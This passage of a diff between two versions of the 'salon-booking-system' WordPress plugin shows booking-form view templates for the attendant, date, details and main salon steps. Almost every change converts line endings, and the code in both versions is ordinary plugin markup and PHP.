'_m_attendants.php' : '_attendants.php';\r\n-$wrapperClass = $isMultipleAttSelection ? 'sln-attendants-wrapper sln-attendants-wrapper--multi' : 'sln-attendants-wrapper';\r\n-$additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\r\n-$errors = !empty($errors) ? $errors : $step->getErrors();\r\n-?>\r\n-\u003Cform id=\"salon-step-attendant\" method=\"post\" action=\"\u003C?php echo esc_html($formAction); ?>\" role=\"form\">\r\n-    \u003C?php\r\n-    include '_errors.php';\r\n-    include '_additional_errors.php';\r\n-    ?>\r\n-    \u003C?php if ($size == '900'): ?>\r\n-        \u003Cdiv class=\"row sln-box--main sln-attendants-wrapper\">\r\n-            \u003Cdiv class=\"col-xs-12 col-md-8\">\r\n-               \u003Cdiv class=\"sln-box--fixed_height\">\u003C?php include $includeName; ?>\u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv> \u003C!-- The row closed inside _form_actions.php -->\r\n-    \u003C?php else: ?>\r\n-        \u003Cdiv class=\"row sln-box--main \u003C?php echo esc_html($wrapperClass); ?> sln-box--fixed_height\">\r\n-            \u003Cdiv class=\"col-xs-12\">\u003C?php include $includeName; ?>\u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C?php endif ?>\r\n-\t\u003C?php include \"_form_actions.php\" ?>\r\n-\u003C\u002Fform>\r\n+\u003C?php\n+\u002F**\n+ * @var SLN_Plugin                        $plugin\n+ * @var string                            $formAction\n+ * @var string                            $submitName\n+ * @var SLN_Shortcode_Salon_AttendantStep $step\n+ * @var bool                              $isMultipleAttSelection\n+ *\u002F\n+$bb                     = $plugin->getBookingBuilder();\n+$attendants             = $step->getAttendants();\n+$style                  = $step->getShortcode()->getStyleShortcode();\n+$size                   = SLN_Enum_ShortcodeStyle::getSize($style);\n+$isMultipleAttSelection = $plugin->getSettings()->isMultipleAttendantsEnabled();\n+$includeName = $isMultipleAttSelection ? '_m_attendants.php' : '_attendants.php';\n+$wrapperClass = $isMultipleAttSelection ? 'sln-attendants-wrapper sln-attendants-wrapper--multi' : 'sln-attendants-wrapper';\n+$additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\n+$errors = !empty($errors) ? $errors : $step->getErrors();\n+?>\n+\u003Cform id=\"salon-step-attendant\" method=\"post\" action=\"\u003C?php echo esc_html($formAction); ?>\" role=\"form\">\n+    \u003C?php\n+    include '_errors.php';\n+    include '_additional_errors.php';\n+    ?>\n+    \u003C?php if ($size == '900'): ?>\n+        \u003Cdiv class=\"row sln-box--main sln-attendants-wrapper\">\n+            \u003Cdiv class=\"col-xs-12 col-md-8\">\n+               \u003Cdiv class=\"sln-box--fixed_height\">\u003C?php include $includeName; ?>\u003C\u002Fdiv>\n+            \u003C\u002Fdiv> \u003C!-- The row closed inside _form_actions.php -->\n+    \u003C?php else: ?>\n+        \u003Cdiv class=\"row sln-box--main \u003C?php echo esc_html($wrapperClass); ?> sln-box--fixed_height\">\n+            \u003Cdiv class=\"col-xs-12\">\u003C?php include $includeName; ?>\u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C?php endif ?>\n+\t\u003C?php include \"_form_actions.php\" ?>\n+\u003C\u002Fform>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_date.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_date.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_date.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_date.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,81 +1,81 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin $plugin\r\n- * @var string $formAction\r\n- * @var string $submitName\r\n- *\u002F\r\n-if ($plugin->getSettings()->isDisabled()) {\r\n-    $message = $plugin->getSettings()->getDisabledMessage();\r\n-    ?>\r\n-    \u003Cdiv class=\"sln-alert sln-alert--paddingleft sln-alert--problem\">\r\n-        \u003C?php echo empty($message) ? esc_html__('On-line booking is disabled', 'salon-booking-system') : $message ?>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-} else {\r\n-    $bb = $plugin->getBookingBuilder();\r\n-    $style = $step->getShortcode()->getStyleShortcode();\r\n-    $size = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-    $additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\r\n-    $errors = !empty($errors) ? $errors : $step->getErrors();\r\n-\r\n-    ?>\r\n-\r\n-    \u003Cform method=\"post\" action=\"\u003C?php echo $formAction ?>\" id=\"salon-step-date\"\r\n-            data-intervals=\"\u003C?php echo esc_attr(wp_json_encode($intervalsArray)); ?>\"\r\n-            \u003C?php if((bool)SLN_Plugin::getInstance()->getSettings()->get('debug') && current_user_can( 'administrator' ) ): ?>\r\n-            data-debug=\"\u003C?php echo esc_attr( wp_json_encode( SLN_Helper_Availability_AdminRuleLog::getInstance()->getDateLog() ) ); ?>\"\r\n-            \u003C?php endif ?>>\r\n-        \u003C?php\r\n-        include '_errors.php';\r\n-        include '_additional_errors.php';\r\n-        \r\n-        \u002F\u002F Display session\u002Fcookie warning if present\r\n-        if (!empty($sessionWarning)) {\r\n-            ?>\r\n-            \u003Cdiv class=\"sln-alert sln-alert--problem sln-alert--session-warning\">\r\n-                \u003Cp>\u003Cstrong>\u003C?php esc_html_e('Warning:', 'salon-booking-system'); ?>\u003C\u002Fstrong> \u003C?php echo wp_kses_post($sessionWarning); ?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-            \u003C?php\r\n-        }\r\n-        ?>\r\n-        \u003C?php if('900' == $size): ?>\r\n-            \u003Cdiv class=\"row sln-box--main sln-box--main--datepicker sln-box--flatbottom--phone\"> \u003C!-- The row closed inside _form_actions.php -->\r\n-                \u003C?php include '_salon_date_pickers.php'; ?>\r\n-        \u003C?php else: ?>\r\n-            \u003Cdiv class=\"row sln-box--main sln-box--main--datepicker\">\r\n-                \u003C?php include '_salon_date_pickers.php'; ?>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C?php endif; ?>\r\n-        \u003C?php include \"_form_actions.php\" ?>\r\n-    \u003C\u002Fform>\r\n-    \r\n-    \u003Cscript>\r\n-    jQuery(document).ready(function($) {\r\n-        \u002F\u002F Check if cookies are enabled in the browser\r\n-        function checkCookiesEnabled() {\r\n-            \u002F\u002F Try to set a test cookie\r\n-            document.cookie = \"sln_cookie_test=1; path=\u002F; SameSite=Lax\";\r\n-            var cookiesEnabled = document.cookie.indexOf(\"sln_cookie_test=\") !== -1;\r\n-            \r\n-            \u002F\u002F Clean up test cookie\r\n-            document.cookie = \"sln_cookie_test=; path=\u002F; expires=Thu, 01 Jan 1970 00:00:00 GMT\";\r\n-            \r\n-            return cookiesEnabled;\r\n-        }\r\n-        \r\n-        \u002F\u002F Only show warning on first step\r\n-        if ($('#salon-step-date').length && !checkCookiesEnabled()) {\r\n-            var warningHtml = '\u003Cdiv class=\"sln-alert sln-alert--problem sln-alert--cookie-warning\">' +\r\n-                '\u003Cp>\u003Cstrong>\u003C?php esc_html_e('Warning:', 'salon-booking-system'); ?>\u003C\u002Fstrong> ' +\r\n-                '\u003C?php esc_html_e('Cookies are disabled in your browser.', 'salon-booking-system'); ?>\u003C\u002Fp>' +\r\n-                '\u003Cp>\u003C?php esc_html_e('The booking process requires cookies to work properly. Please enable cookies and reload the page.', 'salon-booking-system'); ?>\u003C\u002Fp>' +\r\n-                '\u003C\u002Fdiv>';\r\n-            \r\n-            $('#salon-step-date form').prepend(warningHtml);\r\n-        }\r\n-    });\r\n-    \u003C\u002Fscript>\r\n-        \r\n-    \u003C?php\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin $plugin\n+ * @var string $formAction\n+ * @var string $submitName\n+ *\u002F\n+if ($plugin->getSettings()->isDisabled()) {\n+    $message = $plugin->getSettings()->getDisabledMessage();\n+    ?>\n+    \u003Cdiv class=\"sln-alert sln-alert--paddingleft sln-alert--problem\">\n+        \u003C?php echo empty($message) ? esc_html__('On-line booking is disabled', 'salon-booking-system') : $message ?>\n+    \u003C\u002Fdiv>\n+    \u003C?php\n+} else {\n+    $bb = $plugin->getBookingBuilder();\n+    $style = $step->getShortcode()->getStyleShortcode();\n+    $size = SLN_Enum_ShortcodeStyle::getSize($style);\n+    $additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\n+    $errors = !empty($errors) ? $errors : $step->getErrors();\n+\n+    ?>\n+\n+    \u003Cform method=\"post\" action=\"\u003C?php echo $formAction ?>\" id=\"salon-step-date\"\n+            data-intervals=\"\u003C?php echo esc_attr(wp_json_encode($intervalsArray)); ?>\"\n+            \u003C?php if((bool)SLN_Plugin::getInstance()->getSettings()->get('debug') && current_user_can( 'administrator' ) ): ?>\n+            data-debug=\"\u003C?php echo esc_attr( wp_json_encode( SLN_Helper_Availability_AdminRuleLog::getInstance()->getDateLog() ) ); ?>\"\n+            \u003C?php endif ?>>\n+        \u003C?php\n+        include '_errors.php';\n+        include '_additional_errors.php';\n+        \n+        \u002F\u002F Display session\u002Fcookie warning if present\n+        if (!empty($sessionWarning)) {\n+            ?>\n+            \u003Cdiv class=\"sln-alert sln-alert--problem sln-alert--session-warning\">\n+                \u003Cp>\u003Cstrong>\u003C?php esc_html_e('Warning:', 'salon-booking-system'); ?>\u003C\u002Fstrong> \u003C?php echo wp_kses_post($sessionWarning); ?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+            \u003C?php\n+        }\n+        ?>\n+        \u003C?php if('900' == $size): ?>\n+            \u003Cdiv class=\"row sln-box--main sln-box--main--datepicker sln-box--flatbottom--phone\"> \u003C!-- The row closed inside _form_actions.php -->\n+                \u003C?php include '_salon_date_pickers.php'; ?>\n+        \u003C?php else: ?>\n+            \u003Cdiv class=\"row sln-box--main sln-box--main--datepicker\">\n+                \u003C?php include '_salon_date_pickers.php'; ?>\n+            \u003C\u002Fdiv>\n+        \u003C?php endif; ?>\n+        \u003C?php include \"_form_actions.php\" ?>\n+    \u003C\u002Fform>\n+    \n+    \u003Cscript>\n+    jQuery(document).ready(function($) {\n+        \u002F\u002F Check if cookies are enabled in the browser\n+        function checkCookiesEnabled() {\n+            \u002F\u002F Try to set a test cookie\n+            document.cookie = \"sln_cookie_test=1; path=\u002F; SameSite=Lax\";\n+            var cookiesEnabled = document.cookie.indexOf(\"sln_cookie_test=\") !== -1;\n+            \n+            \u002F\u002F Clean up test cookie\n+            document.cookie = \"sln_cookie_test=; path=\u002F; expires=Thu, 01 Jan 1970 00:00:00 GMT\";\n+            \n+            return cookiesEnabled;\n+        }\n+        \n+        \u002F\u002F Only show warning on first step\n+        if ($('#salon-step-date').length && !checkCookiesEnabled()) {\n+            var warningHtml = '\u003Cdiv class=\"sln-alert sln-alert--problem sln-alert--cookie-warning\">' +\n+                '\u003Cp>\u003Cstrong>\u003C?php esc_html_e('Warning:', 'salon-booking-system'); ?>\u003C\u002Fstrong> ' +\n+                '\u003C?php esc_html_e('Cookies are disabled in your browser.', 'salon-booking-system'); ?>\u003C\u002Fp>' +\n+                '\u003Cp>\u003C?php esc_html_e('The booking process requires cookies to work properly. Please enable cookies and reload the page.', 'salon-booking-system'); ?>\u003C\u002Fp>' +\n+                '\u003C\u002Fdiv>';\n+            \n+            $('#salon-step-date form').prepend(warningHtml);\n+        }\n+    });\n+    \u003C\u002Fscript>\n+        \n+    \u003C?php\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_details.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_details.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_details.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_details.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,128 +1,128 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin                $plugin\r\n- * @var string                    $formAction\r\n- * @var string                    $submitName\r\n- * @var SLN_Shortcode_Salon_Step $step\r\n- *\u002F\r\n-$bb = $plugin->getBookingBuilder();\r\n-$style = $step->getShortcode()->getStyleShortcode();\r\n-$size = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-global $current_user;\r\n-wp_get_current_user();\r\n-\r\n-$current     = $step->getShortcode()->getCurrentStep();\r\n-$ajaxEnabled = $plugin->getSettings()->isAjaxEnabled();\r\n-\r\n-$bookingDetailsPageUrl = add_query_arg(array('sln_step_page' => 'details', 'submit_details' => 'next'), get_permalink($plugin->getSettings()->getPayPageId()));\r\n-$additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\r\n-$errors = !empty($errors) ? $errors : $step->getErrors();\r\n-include '_errors.php';\r\n-include '_additional_errors.php';\r\n-?>\r\n-\u003C?php if (!is_user_logged_in()): ?>\r\n-    \u003C?php if (!$plugin->getSettings()->get('enabled_force_guest_checkout')): ?>\r\n-        \u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\" enctype=\"multipart\u002Fform-data\" id=\"salon-step-details\">\r\n-            \u003C?php \r\n-            include '_salon_detail_login.php'; ?>\r\n-        \u003C\u002Fform>\r\n-    \u003C?php endif; ?>\r\n-    \u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\" enctype=\"multipart\u002Fform-data\" id=\"salon-step-details-new\">\r\n-        \u003Cdiv class=\"row\">\r\n-            \u003C?php if($plugin->getSettings()->get('enabled_force_guest_checkout')): ?>\r\n-                \u003C?php SLN_Form::fieldCheckbox(\r\n-                    'sln[no_user_account]',\r\n-                    $bb->get('no_user_account'),\r\n-                    array(\r\n-                        'type' => 'hidden',\r\n-                        'attrs' => array(\r\n-                            'checked' => 'checked',\r\n-                            'style' => 'display:none'\r\n-                        )\r\n-                    )\r\n-                ) ?>\r\n-            \u003C?php elseif($plugin->getSettings()->get('enabled_guest_checkout')): ?>\r\n-                \u003Cdiv class=\"col-xs-2 col-sm-1 sln-checkbox\">\r\n-                    \u003Cdiv class=\"sln-checkbox\">\r\n-                        \u003C?php SLN_Form::fieldCheckbox(\r\n-                            'sln[no_user_account]',\r\n-                            $bb->get('no_user_account'),\r\n-                            array()\r\n-                        ) ?>\r\n-                        \u003Clabel for=\"\u003C?php echo esc_html(SLN_Form::makeID('sln[no_user_account]')) ?>\">\u003C\u002Flabel>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"col-xs-12 col-md-11\">\r\n-                    \u003Clabel for=\"\u003C?php echo esc_html(SLN_Form::makeID('sln[no_user_account]')) ?>\">\u003Ch2 class=\"salon-step-title\">\u003C?php esc_html_e('checkout as a guest', 'salon-booking-system') ?>, \u003C?php _e('no account will be created', 'salon-booking-system') ?>\u003C\u002Fh2>\u003C\u002Flabel>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C?php else: ?>\r\n-            \u003Cdiv class=\"col-xs-12\">\r\n-                    \u003Ch2 class=\"salon-step-title\">\u003C?php esc_html_e('Checkout as a guest', 'salon-booking-system') ?>, \u003C?php esc_html_e('An account will be automatically created', 'salon-booking-system') ?>\u003C\u002Fh2>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C?php endif; ?>\r\n-\r\n-        \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-        $fields = $plugin->getSettings()->get('enabled_force_guest_checkout') ?  SLN_Enum_CheckoutFields::forGuestCheckout() : SLN_Enum_CheckoutFields::forDetailsStep()->appendPassword();\r\n-\r\n-        foreach($fields as $field) { \u002F\u002Fremove excessive quotes escaping\r\n-            if(!$field->isDefault()) {\r\n-                $field->offsetSet('label', stripcslashes($field->offsetGet('label')));\r\n-                $field->offsetSet('default_value', stripcslashes($field->offsetGet('default_value')));\r\n-            }\r\n-        }\r\n-    if ($size == '900') { ?>\r\n-        \u003Cdiv class=\"row\"> \u003C!-- The div closed inside _form_actions.php -->\r\n-            \u003Cdiv class=\"col-xs-12 col-md-8\">\r\n-                \u003Cdiv class=\"row\">\r\n-                    \u003C?php include '_salon_detail_content.php'; ?>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    \u002F\u002F IF SIZE 900 \u002F\u002F END\r\n-    } else if ($size == '600') { ?>\r\n-    \u003Cdiv class=\"row\">\r\n-        \u003C?php include '_salon_detail_content.php'; ?>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    \u002F\u002F IF SIZE 600 \u002F\u002F END\r\n-    } else if ($size == '400') { ?>\r\n-    \u003Cdiv class=\"row\">\r\n-        \u003C?php include '_salon_detail_content.php'; ?>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    \u002F\u002F IF SIZE 400 \u002F\u002F END\r\n-    } ?>\r\n-    \u003C?php include \"_form_actions.php\" ?>\r\n-    \u003C\u002Fform>\r\n-\u003C?php else: ?>\r\n-\r\n-    \u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\" enctype=\"multipart\u002Fform-data\">\r\n-        \u003C?php\r\n-        $fields = SLN_Enum_CheckoutFields::forDetailsStep()->filter('booking_hidden',false);\r\n-        foreach($fields as $field) { \u002F\u002Fremove excessive quotes escaping\r\n-            if(!$field->isDefault()) {\r\n-                $field->offsetSet('default_value', stripcslashes($field->offsetGet('default_value')));\r\n-            }\r\n-        }\r\n-    if ($size == '900') { ?>\r\n-    \u003Cdiv class=\"row\"> \u003C!-- The row closed inside _form_actions.php -->\r\n-        \u003Cdiv class=\"col-xs-12 col-md-8\">\r\n-            \u003Cdiv class=\"row\">\r\n-                \u003C?php include '_salon_detail_content.php' ?>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    \u002F\u002F IF SIZE 900 \u002F\u002F END\r\n-    } else{ ?>\r\n-    \u003Cdiv class=\"row\">\r\n-        \u003C?php include '_salon_detail_content.php' ?>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    \u002F\u002F IF SIZE 600 AND  400 \u002F\u002F END\r\n-    }?>\r\n-    \u003C?php include \"_form_actions.php\" ?>\r\n-    \u003C\u002Fform>\r\n-\u003C?php endif ?>\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin                $plugin\n+ * @var string                    $formAction\n+ * @var string                    $submitName\n+ * @var SLN_Shortcode_Salon_Step $step\n+ *\u002F\n+$bb = $plugin->getBookingBuilder();\n+$style = $step->getShortcode()->getStyleShortcode();\n+$size = SLN_Enum_ShortcodeStyle::getSize($style);\n+global $current_user;\n+wp_get_current_user();\n+\n+$current     = $step->getShortcode()->getCurrentStep();\n+$ajaxEnabled = $plugin->getSettings()->isAjaxEnabled();\n+\n+$bookingDetailsPageUrl = add_query_arg(array('sln_step_page' => 'details', 'submit_details' => 'next'), get_permalink($plugin->getSettings()->getPayPageId()));\n+$additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\n+$errors = !empty($errors) ? $errors : $step->getErrors();\n+include '_errors.php';\n+include '_additional_errors.php';\n+?>\n+\u003C?php if (!is_user_logged_in()): ?>\n+    \u003C?php if (!$plugin->getSettings()->get('enabled_force_guest_checkout')): ?>\n+        \u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\" enctype=\"multipart\u002Fform-data\" id=\"salon-step-details\">\n+            \u003C?php \n+            include '_salon_detail_login.php'; ?>\n+        \u003C\u002Fform>\n+    \u003C?php endif; ?>\n+    \u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\" enctype=\"multipart\u002Fform-data\" id=\"salon-step-details-new\">\n+        \u003Cdiv class=\"row\">\n+            \u003C?php if($plugin->getSettings()->get('enabled_force_guest_checkout')): ?>\n+                \u003C?php SLN_Form::fieldCheckbox(\n+                    'sln[no_user_account]',\n+                    $bb->get('no_user_account'),\n+                    array(\n+                        'type' => 'hidden',\n+                        'attrs' => array(\n+                            'checked' => 'checked',\n+                            'style' => 'display:none'\n+                        )\n+                    )\n+                ) ?>\n+            \u003C?php elseif($plugin->getSettings()->get('enabled_guest_checkout')): ?>\n+                \u003Cdiv class=\"col-xs-2 col-sm-1 sln-checkbox\">\n+                    \u003Cdiv class=\"sln-checkbox\">\n+                        \u003C?php SLN_Form::fieldCheckbox(\n+                            'sln[no_user_account]',\n+                            $bb->get('no_user_account'),\n+                            array()\n+                        ) ?>\n+                        \u003Clabel for=\"\u003C?php echo esc_html(SLN_Form::makeID('sln[no_user_account]')) ?>\">\u003C\u002Flabel>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+                \u003Cdiv class=\"col-xs-12 col-md-11\">\n+                    \u003Clabel for=\"\u003C?php echo esc_html(SLN_Form::makeID('sln[no_user_account]')) ?>\">\u003Ch2 class=\"salon-step-title\">\u003C?php esc_html_e('checkout as a guest', 'salon-booking-system') ?>, \u003C?php _e('no account will be created', 'salon-booking-system') ?>\u003C\u002Fh2>\u003C\u002Flabel>\n+                \u003C\u002Fdiv>\n+            \u003C?php else: ?>\n+            \u003Cdiv class=\"col-xs-12\">\n+                    \u003Ch2 class=\"salon-step-title\">\u003C?php esc_html_e('Checkout as a guest', 'salon-booking-system') ?>, \u003C?php esc_html_e('An account will be automatically created', 'salon-booking-system') ?>\u003C\u002Fh2>\n+                \u003C\u002Fdiv>\n+            \u003C?php endif; ?>\n+\n+        \u003C\u002Fdiv>\n+    \u003C?php\n+        $fields = $plugin->getSettings()->get('enabled_force_guest_checkout') ?  SLN_Enum_CheckoutFields::forGuestCheckout() : SLN_Enum_CheckoutFields::forDetailsStep()->appendPassword();\n+\n+        foreach($fields as $field) { \u002F\u002Fremove excessive quotes escaping\n+            if(!$field->isDefault()) {\n+                $field->offsetSet('label', stripcslashes($field->offsetGet('label')));\n+                $field->offsetSet('default_value', stripcslashes($field->offsetGet('default_value')));\n+            }\n+        }\n+    if ($size == '900') { ?>\n+        \u003Cdiv class=\"row\"> \u003C!-- The div closed inside _form_actions.php -->\n+            \u003Cdiv class=\"col-xs-12 col-md-8\">\n+                \u003Cdiv class=\"row\">\n+                    \u003C?php include '_salon_detail_content.php'; ?>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+    \u003C?php\n+    \u002F\u002F IF SIZE 900 \u002F\u002F END\n+    } else if ($size == '600') { ?>\n+    \u003Cdiv class=\"row\">\n+        \u003C?php include '_salon_detail_content.php'; ?>\n+    \u003C\u002Fdiv>\n+    \u003C?php\n+    \u002F\u002F IF SIZE 600 \u002F\u002F END\n+    } else if ($size == '400') { ?>\n+    \u003Cdiv class=\"row\">\n+        \u003C?php include '_salon_detail_content.php'; ?>\n+    \u003C\u002Fdiv>\n+    \u003C?php\n+    \u002F\u002F IF SIZE 400 \u002F\u002F END\n+    } ?>\n+    \u003C?php include \"_form_actions.php\" ?>\n+    \u003C\u002Fform>\n+\u003C?php else: ?>\n+\n+    \u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\" enctype=\"multipart\u002Fform-data\">\n+        \u003C?php\n+        $fields = SLN_Enum_CheckoutFields::forDetailsStep()->filter('booking_hidden',false);\n+        foreach($fields as $field) { \u002F\u002Fremove excessive quotes escaping\n+            if(!$field->isDefault()) {\n+                $field->offsetSet('default_value', stripcslashes($field->offsetGet('default_value')));\n+            }\n+        }\n+    if ($size == '900') { ?>\n+    \u003Cdiv class=\"row\"> \u003C!-- The row closed inside _form_actions.php -->\n+        \u003Cdiv class=\"col-xs-12 col-md-8\">\n+            \u003Cdiv class=\"row\">\n+                \u003C?php include '_salon_detail_content.php' ?>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C?php\n+    \u002F\u002F IF SIZE 900 \u002F\u002F END\n+    } else{ ?>\n+    \u003Cdiv class=\"row\">\n+        \u003C?php include '_salon_detail_content.php' ?>\n+    \u003C\u002Fdiv>\n+    \u003C?php\n+    \u002F\u002F IF SIZE 600 AND  400 \u002F\u002F END\n+    }?>\n+    \u003C?php include \"_form_actions.php\" ?>\n+    \u003C\u002Fform>\n+\u003C?php endif ?>\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,81 +1,86 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var string $content\r\n- * @var SLN_Shortcode_Salon $salon\r\n- * @var SLN_Plugin $plugin\r\n- *\u002F\r\n-\r\n-$style = $salon->getStyleShortcode();\r\n-$cce = !$plugin->getSettings()->isCustomColorsEnabled();\r\n-$class = SLN_Enum_ShortcodeStyle::getClass($style);\r\n-\r\n-$class_salon = $class;\r\n-$class_salon .= ' sln-step-' . $salon->getCurrentStep();\r\n-$class_salon .= !$cce ? ' sln-customcolors' : '';\r\n-\r\n-$class_salon_content = $class . '__content';\r\n-$class_salon_content .= ' sln-salon__content-step-' . $salon->getCurrentStep();\r\n-\r\n-$bookingMyAccountPageId = $plugin->getSettings()->getBookingmyaccountPageId();\r\n-$builder = $plugin->getBookingBuilder();\r\n-$clientId = $builder->getClientId();\r\n-$storageStrategy = $builder->isUsingTransient() ? 'transient' : 'session';\r\n-?>\r\n-\r\n-\u003Cscript>\r\n-window.SLN_BOOKING_CLIENT = {\r\n-    id: \u003C?php echo $clientId ? \"'\" . esc_js($clientId) . \"'\" : 'null'; ?>,\r\n-    storage: '\u003C?php echo esc_js($storageStrategy); ?>'\r\n-};\r\n-\u003C\u002Fscript>\r\n-\r\n-\u003Cdiv id=\"sln-salon-booking\" class=\"sln-shortcode \u003C?php echo $class_salon ?>\"\r\n-     data-client-id=\"\u003C?php echo esc_attr($clientId); ?>\"\r\n-     data-storage=\"\u003C?php echo esc_attr($storageStrategy); ?>\">\r\n-    \u003Cdiv id=\"sln-salon-booking__content\" class=\"\u003C?php echo $class_salon_content ?>\">\r\n-        \u003C?php\r\n-        if ($bookingMyAccountPageId && !$plugin->getSettings()->get('enabled_force_guest_checkout')) {\r\n-            echo '\u003Cdiv class=\"sln-topbar\">\u003Ch6>';\r\n-            if (is_user_logged_in()) {\r\n-                $current_user = wp_get_current_user();\r\n-                echo ' \u003Ca href=\"' . get_permalink($bookingMyAccountPageId) . '\">' . __('Hi', 'salon-booking-system'), ' ', $current_user->display_name  . '\u003C\u002Fa>';\r\n-            } else {\r\n-                echo '\u003Ca href=\"' . get_permalink($bookingMyAccountPageId) . '\">' . __('Log-in', 'salon-booking-system') . '\u003C\u002Fa>';\r\n-            }\r\n-            echo '\u003C\u002Fh6>\u003C\u002Fdiv>';\r\n-        } \u002F\u002F\u002F\u002F $bookingMyAccountPageId  && !$plugin->getSettings()->get('enabled_force_guest_checkout') \u002F\u002F END \u002F\u002F\u002F\u002F\r\n-        $args = array(\r\n-            'key' => 'Book an appointment',\r\n-            'label' => __('Book an appointment', 'salon-booking-system'),\r\n-            'tag' => 'h2',\r\n-            'textClasses' => 'sln-salon-title',\r\n-            'inputClasses' => '',\r\n-            'tagClasses' => 'sln-salon-title',\r\n-        );\r\n-        echo $plugin->loadView('shortcode\u002F_editable_snippet', $args);\r\n-        do_action('sln.booking.salon.before_content', $salon, $content);\r\n-\r\n-        $step = $salon->getStepObject($salon->getCurrentStep());\r\n-        $additional_errors = !empty($additional_errors) ? $additional_errors : 